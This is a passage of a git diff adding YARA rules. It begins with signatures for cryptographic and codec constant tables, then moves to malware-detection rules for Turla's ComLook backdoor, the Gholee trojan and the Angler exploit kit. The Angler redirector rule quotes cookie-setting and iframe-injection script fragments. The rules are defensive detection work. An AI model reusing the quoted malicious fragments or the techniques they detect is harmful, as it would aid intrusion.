3a380a8016142ea4465c3938098015142da44560393c098415182da845603a3c0a8416182ea846603b3c0b8417182fa847643b400b88171c2fac47643a400a88161c2eac466439400988151c2dac45683944098c15202db045683a440a8c16202eb046683b440b8c17202fb047483f240f6c1b00339003484024106c1c00349004484124116c1d003590054c412811701d043594054c402810701c043494044c3f280f701b04339403503f2c0f741b0833980350402c10741c0834980450412c11741d0835980554413011781d0c359c0554403010781c0c349c04543f300f781b0c339c03583f340f7c1b1033a003584034107c1c1034a004584134117c1d1035a0055c413811801d1435a4055c403810801c1434a4045c3f380f801b1433a403603f3c0f841b1833a80360403c10841c1834a80460413c11841d1835a80564414011881d1c35ac0564404010881c1c34ac04643f400f881b1c33ac03683f440f8c1b2033b003684044108c1c2034b004684144118c1d2035b005484524156c2100399009484624166c22003a900a484724176c23003b900b4c4728177023043b940b4c4628167022043a940a4c45281570210439940950452c1574210839980950462c167422083a980a50472c177423083b980b5447301778230c3b9c0b5446301678220c3a9c0a5445301578210c399c09584534157c211039a009584634167c22103aa00a584734177c23103ba00b5c4738178023143ba40b5c4638168022143aa40a5c45381580211439a40960453c1584211839a80960463c168422183aa80a60473c178423183ba80b6447401788231c3bac0b6446401688221c3aac0a6445401588211c39ac09684544158c212039b009684644168c22203ab00a684744178c23203bb00b4803241b6c27003f900f4804241c6c28004090104805241d6c29004190114c05281d7029044194114c04281c7028044094104c03281b7027043f940f50032c1b7427083f980f50042c1c74280840981050052c1d7429084198115405301d78290c419c115404301c78280c409c105403301b78270c3f9c0f5803341b7c27103fa00f5804341c7c281040a0105805341d7c291041a0115c05381d80291441a4115c04381c80281440a4105c03381b8027143fa40f60033c1b8427183fa80f60043c1c84281840a81060053c1d84291841a8116405401d88291c41ac116404401c88281c40ac106403401b88271c3fac0f6803441b8c27203fb00f6804441c8c282040b0106805441d8c292041b011480924216c2d00459015480a24226c2e00469016480b24236c2f004790174c0b2823702f044794174c0a2822702e044694164c092821702d0445941550092c21742d08459815500a2c22742e08469816500b2c23742f08479817540b3023782f0c479c17540a3022782e0c469c1654093021782d0c459c15580934217c2d1045a015580a34227c2e1046a016580b34237c2f1047a0175c0b3823802f1447a4175c0a3822802e1446a4165c093821802d1445a41560093c21842d1845a815600a3c22842e1846a816600b3c23842f1847a817640b4023882f1c47ac17640a4022882e1c46ac1664094021882d1c45ac15680944218c2d2045b015680a44228c2e2046b016680b44238c2f2047b017 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_neg__flt64___64_lil_320_
+{
+strings:
+	$a0 = { 000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03fce4763fe1b85ec3fce4763fe1b85ec3fcf7bad951a6be93fcf7bad951a6be93fcf7bad951a6be93fcf7bad951a6be93fcf7bad951a6be93fd9017c5cc030e43f174e2db6a4fee13f174e2db6a4fee13fc571e0d572a7e63fd9017c5cc030e43f32699d02aa09e03fbf6d5cb521b5d63f7e0a3664f23cd43fd9017c5cc030e43f32699d02aa09e03fbf6d5cb521b5d63fab741ce49aa7cc3f0fa2105c40c3c63fe1687d80a4fee13fb2142411757ad93fab741ce49aa7cc3f08eb5ad6581dc03ff423343800d1b63f32699d02aa09e03f8dc580368309d23f95dd27a2ba14c23f930db5b7a51fb23fd3cd0f6d1162a43fb2142411757ad93f7f187cf54c8ac93fa04db3e501d1b63fd3cd0f6d1162a43ff6b4c35f9335923f }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_A5_2_goodAtoB__8_byt_15_
+{
+strings:
+	$a0 = { f4512cac13593764460b722dadd500 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST_256_t_r__32_big_768_
+{
+strings:
+	$a0 = { 000000130000001b000000030000000b000000130000001b000000030000000b000000130000001b000000030000000b000000130000001b000000030000000b000000130000001b000000030000000b000000130000001b000000030000000b000000040000000c000000140000001c000000040000000c000000140000001c000000040000000c000000140000001c000000040000000c000000140000001c000000040000000c000000140000001c000000040000000c000000140000001c000000150000001d000000050000000d000000150000001d000000050000000d000000150000001d000000050000000d000000150000001d000000050000000d000000150000001d000000050000000d000000150000001d000000050000000d000000060000000e000000160000001e000000060000000e000000160000001e000000060000000e000000160000001e000000060000000e000000160000001e000000060000000e000000160000001e000000060000000e000000160000001e000000170000001f000000070000000f000000170000001f000000070000000f000000170000001f000000070000000f000000170000001f000000070000000f000000170000001f000000070000000f000000170000001f000000070000000f0000000800000010000000180000000000000008000000100000001800000000000000080000001000000018000000000000000800000010000000180000000000000008000000100000001800000000000000080000001000000018000000000000001900000001000000090000001100000019000000010000000900000011000000190000000100000009000000110000001900000001000000090000001100000019000000010000000900000011000000190000000100000009000000110000000a000000120000001a000000020000000a000000120000001a000000020000000a000000120000001a000000020000000a000000120000001a000000020000000a000000120000001a000000020000000a000000120000001a00000002 }
+
+condition:
+	$a0
+}
+
+	
+rule libavutil_ff_sqrt_tab__8_byt_128_
+{
+strings:
+	$a0 = { 000101010202020202030303030303030404040404040404040505050505050505050505060606060606060606060606060707070707070707070707070707070808080808080808080808080808080808090909090909090909090909090909090909090a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0b0b0b0b0b0b0b }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_IBM_poly_0x4003__16_lil_refl_False_
+{
+strings:
+	$a0 = { 00000340068005c00f400c0009c00a801e801dc018001b4011c01280174014003f403c0039c03a8030003340368035c021c02280274024002e802dc028002b407e807dc078007b4071c072807740740060006340668065c06f406c0069c06a8041c04280474044004e804dc048004b405f405c0059c05a8050005340568055c0ff40fc00f9c0fa80f000f340f680f5c0e1c0e280e740e400ee80edc0e800eb40c000c340c680c5c0cf40cc00c9c0ca80de80ddc0d800db40d1c0d280d740d40081c08280874084008e808dc088008b409f409c0099c09a8090009340968095c0be80bdc0b800bb40b1c0b280b740b400a000a340a680a5c0af40ac00a9c0aa80fe81fdc1f801fb41f1c1f281f741f401e001e341e681e5c1ef41ec01e9c1ea81c1c1c281c741c401ce81cdc1c801cb41df41dc01d9c1da81d001d341d681d5c180018341868185c18f418c0189c18a819e819dc198019b4191c1928197419401bf41bc01b9c1ba81b001b341b681b5c1a1c1a281a741a401ae81adc1a801ab4101c10281074104010e810dc108010b411f411c0119c11a8110011341168115c13e813dc138013b4131c132813741340120012341268125c12f412c0129c12a817f417c0179c17a8170017341768175c161c16281674164016e816dc168016b4140014341468145c14f414c0149c14a815e815dc158015b4151c1528157415401 }
+
+condition:
+	$a0
+}
+
+	
+rule ElGamal_public_key_encryption__qbits___16_big_38_
+{
+strings:
+	$a0 = { 0077009100a500b700c600d400e100ed00f90103010d0117012001280131013901400148014f }
+
+condition:
+	$a0
+}
+
+	
+rule TNS_filter_tns_max_bands_tbl_low_delay__32_big_128_
+{
+strings:
+	$a0 = { 0000000000000000000000000000000000000000000000000000001f0000001f000000200000002000000025000000250000001e0000001f0000001e0000001f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_obsolete_C0_table__64_big_2048_
+{
+strings:
+	$a0 = { d818186018c078302623238c2305af46b8c6c63fc67ef991fbe8e887e8136fcdcb878726874ca11311b8b8dab8a9626d09010104010805020d4f4f214f426e9e9b3636d836adee6cffa6a6a2a65904510cd2d26fd2debdb90ef5f5f3f5fb06f7967979f979ef80f2306f6fa16f5fcede6d91917e91fcef3ff852525552aa07a44760609d6027fdc035bcbccabc897665379b9b569baccd2b8a8e8e028e048c01d2a3a3b6a371155b6c0c0c300c603c18847b7bf17bff8af6803535d435b5e16af51d1d741de8693ab3e0e0a7e05347dd21d7d77bd7f6acb39cc2c22fc25eed99432e2eb82e6d965c294b4b314b627a965dfefedffea321e1d5575741578216aebd15155415a8412ae87777c1779fb6ee923737dc37a5eb6e9ee5e5b3e57b56d7139f9f469f8cd92323f0f0e7f0d317fd204a4a354a6a7f9444dada4fda9e95a9a258587d58fa25b0cfc9c903c906ca8f7c2929a429558d525a0a0a280a50221450b1b1feb1e14f7fc9a0a0baa0691a5d146b6bb16b7fdad6d985852e855cab173cbdbdcebd8173678f5d5d695dd234ba901010401080502007f4f4f7f4f303f5ddcbcb0bcb16c08bd33e3ef83eedc67c2d0505140528110a78676781671fe6ce97e4e4b7e47353d50227279c2725bb4e7341411941325882a78b8b168b2c9d0bf6a7a7a6a7510153b27d7de97dcf94fa4995956e95dcfb3756d8d847d88e9fad70fbfbcbfb8b30ebcdeeee9fee2371c1bb7c7ced7cc791f8716666856617e3cc7bdddd53dda68ea7af17175c17b84b2e454747014702468e1a9e9e429e84dc21d4caca0fca1ec589582d2db42d75995a2ebfbfc6bf9179633f07071c07381b0eacadad8ead012347b05a5a755aea2fb4ef838336836cb51bb63333cc3385ff665c636391633ff2c61202020802100a0493aaaa92aa393849de7171d971afa8e2c6c8c807c80ecf8dd119196419c87d323b494939497270925fd9d943d9869aaf31f2f2eff2c31df9a8e3e3abe34b48dbb95b5b715be22ab6bc88881a8834920d3e9a9a529aa4c8290b262698262dbe4cbf3232c8328dfa6459b0b0fab0e94a7df2e9e983e91b6acf770f0f3c0f78331e33d5d573d5e6a6b7f480803a8074ba1d27bebec2be997c61ebcdcd13cd26de87893434d034bde4683248483d487a759054ffffdbffab24e38d7a7af57af78ff46490907a90f4ea3d9d5f5f615fc23ebe3d202080201da0400f6868bd6867d5d0ca1a1a681ad07234b7aeae82ae192c417db4b4eab4c95e75ce54544d549a19a87f93937693ece53b2f222288220daa446364648d6407e9c82af1f1e3f1db12ffcc7373d173bfa2e68212124812905a247a40401d403a5d80480808200840281095c3c32bc356e89bdfecec97ec337bc54ddbdb4bdb9690abc0a1a1bea1611f5f918d8d0e8d1c8307c83d3df43df5c97a5b97976697ccf1330000000000000000f9cfcf1bcf36d4836e2b2bac2b458756e17676c57697b3ece68282328264b01928d6d67fd6fea9b1c31b1b6c1bd8773674b5b5eeb5c15b77beafaf86af1129431d6a6ab56a77dfd4ea50505d50ba0da05745450945124c8a38f3f3ebf3cb18fbad3030c0309df060c4efef9bef2b74c3da3f3ffc3fe5c37ec755554955921caadba2a2b2a2791059e9eaea8fea0365c96a656589650fecca03babad2bab968694a2f2fbc2f65935e8ec0c027c04ee79d60dede5fdebe81a1fc1c1c701ce06c3846fdfdd3fdbb2ee71f4d4d294d52649a7692927292e4e039fa7575c9758fbcea3606061806301e0cae8a8a128a2498094bb2b2f2b2f9407985e6e6bfe66359d17e0e0e380e70361ce71f1f7c1ff8633e556262956237f7c43ad4d477d4eea3b581a8a89aa829324d5296966296c4f43162f9f9c3f99b3aefa3c5c533c566f697102525942535b14aab59597959f220b2d084842a8454ae15c57272d572b7a7e4ec3939e439d5dd72164c4c2d4c5a6198945e5e655eca3bbc9f7878fd78e785f0e53838e038ddd870988c8c0a8c14860517d1d163d1c6b2bfe4a5a5aea5410b57a1e2e2afe2434dd94e616199612ff8c242b3b3f6b3f1457b342121842115a542089c9c4a9c94d625ee1e1e781ef0663c6143431143225286b1c7c73bc776fc934ffcfcd7fcb32be52404041004201408e351515951b208a22599995e99bcc72f226d6da96d4fc4da650d0d340d68391a79fafacffa8335e969dfdf5bdfb684a3a97e7ee57ed79bfc19242490243db448fe3b3bec3bc5d7769aabab96ab313d4bf0cece1fce3ed1819911114411885522838f8f068f0c8903044e4e254e4a6b9c66b7b7e6b7d15173e0ebeb8beb0b60cbc13c3cf03cfdcc78fd81813e817cbf1f4094946a94d4fe351cf7f7fbf7eb0cf318b9b9deb9a1676f8b13134c13985f26512c2cb02c7d9c5805d3d36bd3d6b8bb8ce7e7bbe76b5cd3396e6ea56e57cbdcaac4c437c46ef3951b03030c03180f06dc565645568a13ac5e44440d441a4988a07f7fe17fdf9efe88a9a99ea921374f672a2aa82a4d82540abbbbd6bbb16d6b87c1c123c146e29ff153535153a202a672dcdc57dcae8ba5530b0b2c0b582716019d9d4e9d9cd3272b6c6cad6c47c1d8a43131c43195f562f37474cd7487b9e815f6f6fff6e309f14c464605460a438ca5acac8aac092645b589891e893c970fb414145014a04428bae1e1a3e15b42dfa616165816b04e2cf73a3ae83acdd274066969b9696fd0d24109092409482d12d77070dd70a7ade06fb6b6e2b6d954711ed0d067d0ceb7bdd6eded93ed3b7ec7e2cccc17cc2edb8568424215422a57842c98985a98b4c22deda4a4aaa4490e55752828a0285d8850865c5c6d5cda31b86bf8f8c7f8933fedc28686228644a411 }
+
+condition:
+	$a0
+}
+
+	
+rule Lame_freq_map__32_lil_136_
+{
+strings:
+	$a0 = { 08000000d007000010000000740e0000180000003c0f0000200000007c15000028000000581b0000300000004c1d0000380000001027000040000000f82a000050000000bc34000060000000fc3a000070000000f03c00008000000068420000a00000005c440000c0000000a8480000e0000000c84b000000010000f44c00004001000014500000 }
+
+condition:
+	$a0
+}
+
+	
+rule Blowfish_ks2_table__32_big_1024_
+{
+strings:
+	$a0 = { e93d5a68948140f7f64c261c94692934411520f77602d4f7bcf46b2ed4a20068d40824713320f46a43b7d4b7500061af1e39f62e9724454614214f74bf8b88404d95fc1d96b591af70f4ddd366a02f45bfbc09ec03bd97857fac6dd031cb850496eb27b355fd3941da2547e6abca0a9a28507825530429f40a2c86dae9b66dfb68dc1462d7486900680ec0a427a18dee4f3ffea2e887ad8cb58ce0067af4d6b6aace1e7cd3375fecce78a399406b2a4220fe9e35d9f385b9ee39d7ab3b124e8b1dc9faf74b6d185626a36631eae397b23a6efa74dd5b43326841e7f7ca7820fbfb0af54ed8feb397454056acba48952755533a3a20838d87fe6ba9b7d096954b55a867bca1159a58cca9296399e1db33a62a4a563f3125f95ef47e1c9029317cfdf8e80204272f7080bb155c05282ce395c11548e4c66d2248c1133fc70f86dc07f9c9ee41041f0f404779a45d886e17325f51ebd59bc0d1f2bcc18f41113564257b7834602a9c60dff8e8a31f636c1b0e12b4c202e1329eaf664fd1cad181156b2395e0333e92e13b240b62eebeb92285b2a20ee6ba0d99de720c8c2da2f728d012784595b794fd647d0862e7ccf5f05449a36f877d48fac39dfd27f33e8d1e0a476341992eff743a6f6eabf4f8fd37a812dc60a1ebddf8991be14cdb6e6b0dc67b55106d672c372765d43bdcd0e804f1290dc7cc00ffa3b5390f92690fed0b667b9ffbcedb7d9ca091cf0bd9155ea3bb132f88515bad247b9479bf763bd6eb37392eb3cc1159798026e297f42e312d6842ada7c66a2b3b12754ccc782ef11c6a124237b79251e706a1bbe64bfb63501a6b101811caedfa3d25bdd8e2e1c3c9444216590a121386d90cec6ed5abea2a64af674eda86a85fbebfe98864e4c3fe9dbc8057f0f7c08660787bf86003604dd1fd8346f6381fb07745ae04d736fccc83426b33f01eab71b08041873c005e5f77a057bebde8ae2455464299bf582e614e58f48ff2ddfda2f474ef388789bdc25366f9c3c8b38e74b475f25546fcd9b97aeb26618b1ddf84846a0e79915f95e2466e598e20b457708cd55591c902de4cb90bace1bb8205d011a862487574a99eb77f19b6e0a9dc09662d09a1c4324633e85a1f0209f0be8c4a99a0251d6efe101ab93d1d0ba5a4dfa186f20f2868f169dcb7da83573906fea1e2ce9b4fcd7f5250115e01a70683faa002b5c40de6d0279af88c27773f8641c3604c0661a806b5f0177a28c0f586e0006058aa30dc7d6211e69ed72338ea6353c2dd94c2c21634bbcbee5690bcb6deebfc7da1ce591d766f05e4094b7c018839720a3d7c927c2486e3725f724d9db91ac15bb4d39eb8fced54557808fca5b5d83d7cd34dad0fc41e50ef5eb161e6f8a28514d96c51133c6fd5c7e756e14ec4362abfceddc6c837d79a323492638212670efa8e406000e0 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x6b6b51f4__32_big_refl_True_
+{
+strings:
+	$a0 = { 000000000dc801191b9002321658032b372004643ae8057d2cb006562178074f3155a5653c9da47c2ac5a757270da64e0675a1010bbda0181de5a333102da22a3dbee7673076e67e262ee5552be6e44c0a9ee3030756e21a110ee1311cc6e0280ceb42020123431b177b40301ab341293bcb46663603477f205b44542d93454d2468636329a0627a3ff8615132306048134867071e80661e08d865350510642c153dc60618f5c71f0eadc4340365c52d221dc2622fd5c37b398dc0503445c14919d68404141e851d024686360f8e872f2ef68060233e81793566825238ae834b28832161254b2078331323533edb224a1fa32505126b241c0433273709fb262e17c56b6b1a0d6a720c556959019d684020e56f0f2d2d6e163b756d3d36bd6c242690ce0e2b58cf173d00cc3c30c8cd2511b0ca6a1c78cb730a20c85807e8c9412a7b8c0c27b38d1531eb8e3e3c238f271d5b88681093897106cb8a5a0b038b431b2e296916e6287000be2b5b0d762a422c0e2d0d21c62c14379e2f3f3a562e2633ad08083e650911283d0a3a25f50b23048d0c6c09450d751f1d0e5e12d50f4702f8ad6d0f30ac741968af5f14a0ae4635d8a9093810a8102e48ab3b2380aa220e13ef6f03dbee761583ed5d184bec443933eb0b34fbea1222a3e9392f6be8203f464a0a328e4b1324d64838291e492108664e6e05ae4f7713f64c5c1e3e4d452f8ad6d62242d7cf341ad4e439d2d5fd18aad2b21562d3ab033ad0800ef2d1991edf73b3131772aa054f71810887709829ff77d7243776ce326f75e53fa774fc123431b11ffc30a809a43383046c329a251435d528dc34cc3e8437e7334c36fe236194d42ea995cd38f196e6353997ff144190b0198991a90fd192820219939b0be2b5b5062ab4ac1072b7871dbab69e3cc2b1d1310ab0c82752b3e32a9ab2fa3ab710d0377f11c9212712e22cef13fb0d9714b4005f15ad160716861bcf179f365c52d23b9453cb2dcc50e0200451f9017c56b60cb457af1aec54841724559d0709f7b70ac1f6ae1c99f5851151f49c3029f3d33de1f2ca2bb9f1e12671f0f8384fbdbd3587bca423dfbf8f2e17be960f6fb9d902a7b8c014ffbbeb1937baf2091a18d804d219c1128a1aea1f421bf33e3a1cbc33f21da525aa1e8e28621f9705f15ada08395bc31e6158e813a959f132d15ebe3f195fa729415c8c24895d9534a4ffbf396cfea62f34fd8d22fcfc940384fbdb0e4cfac21814f9e915dcf8f01c27dede11efdfc707b7dcec0a7fddf52b07daba26cfdba33097d8883d5fd9912d727bbb20ba7aa236e279893b2a78901a527fdf179a7ec601c27ded0c0a7cf4219939b92c5138a03a093b8b37c13a9216b93ddd1b713cc40d293fef00e13ef610cc9cdc1d049dc50b5c9eee06949ff727ec98b82a2499a13c7c9a8a31b49b93 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_se_golomb_vlc_code__8_byt_512_
+{
+strings:
+	$a0 = { 1011111111111111111111111111111108F809F70AF60BF50CF40DF30EF20FF104040404FCFCFCFC05050505FBFBFBFB06060606FAFAFAFA07070707F9F9F9F902020202020202020202020202020202FEFEFEFEFEFEFEFEFEFEFEFEFEFEFEFE03030303030303030303030303030303FDFDFDFDFDFDFDFDFDFDFDFDFDFDFDFD01010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_48_480__16_big_70_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c002000240028002c00300034003800400048005000580060006c007800840090009c00ac00bc00d400f00110013001500170019001b001e0 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_slope_cos_G729_BITEXACT__16_big_128_
+{
+strings:
+	$a0 = { FD88F89BF3B2EED1E9FAE531E078DBD3D744D2CECE74CA39C61FC228BE58BAB0B733B3E2B0C1ADD1AB13A88AA636A41AA237A08D9F1F9DEC9CF69C3C9BC09B829B829BC09C3C9CF69DEC9F1FA08DA237A41AA636A88AAB13ADD1B0C1B3E2B733BAB0BE58C228C61FCA39CE74D2CED744DBD3E078E531E9FAEED1F3B2F89BFD88 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qcelp_lspvq2__16_lil_512_
+{
+strings:
+	$a0 = { ff0025018803db009700bb04a705f201d601fd001706b1000b06e2035a09f2005b002d0359034e02a6032e0561071a012d03d8012104d605c201f30c730867071a0214027705da0092001006db0672023603ca0013059702c202c406600a9101a201e902fa020e044702d406d20605050f02910422053e032c0244083104110929013a02d5039301d4014f04cc06f300d502b300e704da015e055205820790031d01b303a203bc0251025c05750740024c02940356045c04e0009f0a6106ac08920108022504c00192014805db05070398024d023904d70221039e0875088504360222038f035c043201a706000744038f02e70325040e042a0129085604d90669013701ca03ef000901cf04d7053d0236020601210625013d057804df082002d6006d034f03cf021a03680513081201bf02b0024b041a058701830be8078606d7010d02dd0422010801150620062703ce028f01a904ad0273033a06a90afc02f401f202290354041d027006f30569056602ac04b9044f035901c208a205d306c70030024404c2005d01e5047506fb01710262016005af01a304b905740868036801ce03f003ba02c00242054208c401d0023003d8044104b701ab09da05f8075001ce02bd04bb00c301aa0558057503500242026b0413025d033f07e406dc05bc01ca03a7038703a801970661064e041903810324048103b900db07b5043f07 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_zigzag248_direct__8_byt_64_
+{
+strings:
+	$a0 = { 000801091018020a1119202830382129121a030b040c131b222a3139323a232b141c050d060e151d242c333b343c252d161e070f171f262e353d363e272f373f }
+
+condition:
+	$a0
+}
+
+	
+rule DES_permuted_choice_key__table___8_byt_48_
+{
+strings:
+	$a0 = { 0e110b180105031c0f06150a17130c041a0810071b140d0229341f252f371e28332d21302c31273822352e2a32241d20 }
+
+condition:
+	$a0
+}
+
+	
diff --git a/yara-mikesxrs/clearskysec/comlook.yar b/yara-mikesxrs/clearskysec/comlook.yar
new file mode 100644
index 0000000..a6bdb24
--- /dev/null
+++ b/yara-mikesxrs/clearskysec/comlook.yar
@@ -0,0 +1,48 @@
+import "pe"
+
+rule apt_RU_turla_comlook
+{
+	meta:
+		date="20/01/22"
+		Author = "ClearSky Cybersecurity"
+		TLP = "WHITE"
+	
+	strings:
+
+		$a1 = "\x00Server switched.\x00" 
+		$a2 = "\x00Message handling error!\x00" 
+		$a3 = "\x00Incorrect username in IMAP request.\x00"
+		$a4 = "\x00Incorrect password in IMAP request.\x00"
+		$a5 = "atexit failed to register curl_global_cleanup.\x00"
+		$a6 = "curl FetchMessagePart failed."
+		$a7 = "curl PerformQuery failed."
+		$a8 = "curl SendResult failed."
+		$a9 = "Cannot copy data for sending buffer."
+		$a10 = "Initialization of libcurl has failed."
+		$a11 = "COULDN'T OPEN PIPES TO RECEIVE EXECUTION RESULT\x00"
+		$a12 = "OPERATION PERFORMED SUCCESSFULLY WITHOUT WAITING FOR RESULT\x00"
+		$a13 = "OPERATION PERFORMED SUCCESSFULLY WITH NULL RESULT.\x00"
+		$a14 = "COMMAND IS EMPTY.\x00"
+		$a15 = "Antispam Marisuite for The Bat!"
+		$a16 = "\x00CMD_EXECUTION_PIPE_OPEN_ERROR\x00"
+		$a17 = "\x00CONFIG_LAST_COMMAND_DATE_REG_WRITE_ERROR\x00"
+		$a18 = "\x00IMAP_MAILSERVER_FORMAT_INCORRECT\x00"
+		$a19 = "\x00GET_UIDS_TO_CHECK_PARSING_ERROR\x00"
+		
+		$b1 = "\x00SEARCH UID \x00"
+		$b2 = "\x00 +FLAGS \\Deleted\x00"
+		$b3 = "\x00UID SEARCH SENTSINCE \x00"
+		$b4 = "Software\\RIT\\The Bat!\x00" wide 
+
+	condition:
+		filesize < 10MB and uint16(0) == 0x5A4D and
+		(
+			pe.imphash() == "ee4ac9f3c15a225a117392a01b78686e" or
+			2 of ($a*) or
+			3 of ($b*) or
+			(
+				pe.imports("TBP_Intialize") and
+				any of ($a*)
+			)
+		)
+}
diff --git a/yara-mikesxrs/clearskysec/gholee.yar b/yara-mikesxrs/clearskysec/gholee.yar
new file mode 100644
index 0000000..85c0d33
--- /dev/null
+++ b/yara-mikesxrs/clearskysec/gholee.yar
@@ -0,0 +1,28 @@
+ rule gholee
+
+    {
+
+    meta:
+
+    author = "www.clearskysec.com"
+
+    date = "2014/08"
+
+    maltype = "Remote Access Trojan"
+
+    filetype = "dll"
+
+    reference = "http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/"
+
+
+    strings:
+
+    $a = "sandbox_avg10_vc9_SP1_2011"
+
+    $b = "gholee"
+
+    condition:
+
+    all of them
+
+    }
\ No newline at end of file
diff --git a/yara-mikesxrs/codewatchorg/angler_ek_checkpoint.yar b/yara-mikesxrs/codewatchorg/angler_ek_checkpoint.yar
new file mode 100644
index 0000000..d5e4a02
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/angler_ek_checkpoint.yar
@@ -0,0 +1,10 @@
+rule angler_ek_checkpoint
+{
+	meta:
+		description = "Angler EK Exploit Kit - Checkpoint Detection"
+	strings:
+		$a = "Jul 2039" nocase
+		$b = "Jul 2040" nocase
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/codewatchorg/angler_ek_redirector.yar b/yara-mikesxrs/codewatchorg/angler_ek_redirector.yar
new file mode 100644
index 0000000..798a551
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/angler_ek_redirector.yar
@@ -0,0 +1,18 @@
+rule AnglerEKredirector
+{
+   meta:
+      description = "Angler Exploit Kit Redirector"
+      ref = "http://blog.xanda.org/2015/08/28/yara-rule-for-angler-ek-redirector-js/"
+      author = "adnan.shukor@gmail.com"
+      date = "08-July-2015"
+      impact = "5"
+      version = "1"
+   strings:
+      $ekr1 = "<script>var date = new Date(new Date().getTime() + 60*60*24*7*1000);" fullword
+      $ekr2 = "document.cookie=\"PHP_SESSION_PHP="
+      $ekr3 = "path=/; expires=\"+date.toUTCString();</script>" fullword
+      $ekr4 = "<iframe src=" fullword
+      $ekr5 = "</iframe></div>" fullword
+   condition:
+      all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/codewatchorg/angler_flash.yar b/yara-mikesxrs/codewatchorg/angler_flash.yar
new file mode 100644
index 0000000..5b3a632
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/angler_flash.yar
@@ -0,0 +1,28 @@
+rule angler_flash
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "8081397c30b53119716c374dd58fc653"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "(9OOSp"
+	$string1 = "r$g@ 0'[A"
+	$string2 = ";R-1qTP"
+	$string3 = "xwBtR4"
+	$string4 = "YbVjxp"
+	$string5 = "ddgXkF"
+	$string6 = ")n'URF"
+	$string7 = "vAzq@W"
+	$string8 = "rOkX$6m<"
+	$string9 = "@@DB}q "
+	$string10 = "TiKV'iV"
+	$string11 = "538x;B"
+	$string12 = "9pEM{d"
+	$string13 = ".SIy/O"
+	$string14 = "ER<Gu,"
+condition:
+	14 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/angler_flash2.yar b/yara-mikesxrs/codewatchorg/angler_flash2.yar
new file mode 100644
index 0000000..8a25285
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/angler_flash2.yar
@@ -0,0 +1,28 @@
+rule angler_flash2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "23812c5a1d33c9ce61b0882f860d79d6"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "4yOOUj"
+	$string1 = "CSvI4e"
+	$string2 = "'fwaEnkI"
+	$string3 = "'y4m%X"
+	$string4 = "eOc)a,"
+	$string5 = "'0{Q5<"
+	$string6 = "1BdX;P"
+	$string7 = "D _J)C"
+	$string8 = "-epZ.E"
+	$string9 = "QpRkP."
+	$string10 = "<o/]atel"
+	$string11 = "@B.,X<"
+	$string12 = "5r[c)U"
+	$string13 = "52R7F'"
+	$string14 = "NZ[FV'P"
+condition:
+	14 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/angler_flash4.yar b/yara-mikesxrs/codewatchorg/angler_flash4.yar
new file mode 100644
index 0000000..74c5707
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/angler_flash4.yar
@@ -0,0 +1,30 @@
+rule angler_flash4
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "dbb3f5e90c05602d92e5d6e12f8c1421"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "_u;cwD;"
+	$string1 = "lhNp74"
+	$string2 = "Y0GQ%v"
+	$string3 = "qjqCb,nx"
+	$string4 = "vn{l{Wl"
+	$string5 = "5j5jz5"
+	$string6 = "a3EWwhM"
+	$string7 = "hVJb/4Aut"
+	$string8 = ",lm4v,"
+	$string9 = ",6MekS"
+	$string10 = "YM.mxzO"
+	$string11 = ";6 -$E"
+	$string12 = "QA%: fy"
+	$string13 = "<@{qvR"
+	$string14 = "b9'$'6l"
+	$string15 = ",x:pQ@-"
+	$string16 = "2Dyyr9"
+condition:
+	16 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/angler_flash5.yar b/yara-mikesxrs/codewatchorg/angler_flash5.yar
new file mode 100644
index 0000000..1695a68
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/angler_flash5.yar
@@ -0,0 +1,26 @@
+rule angler_flash5
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
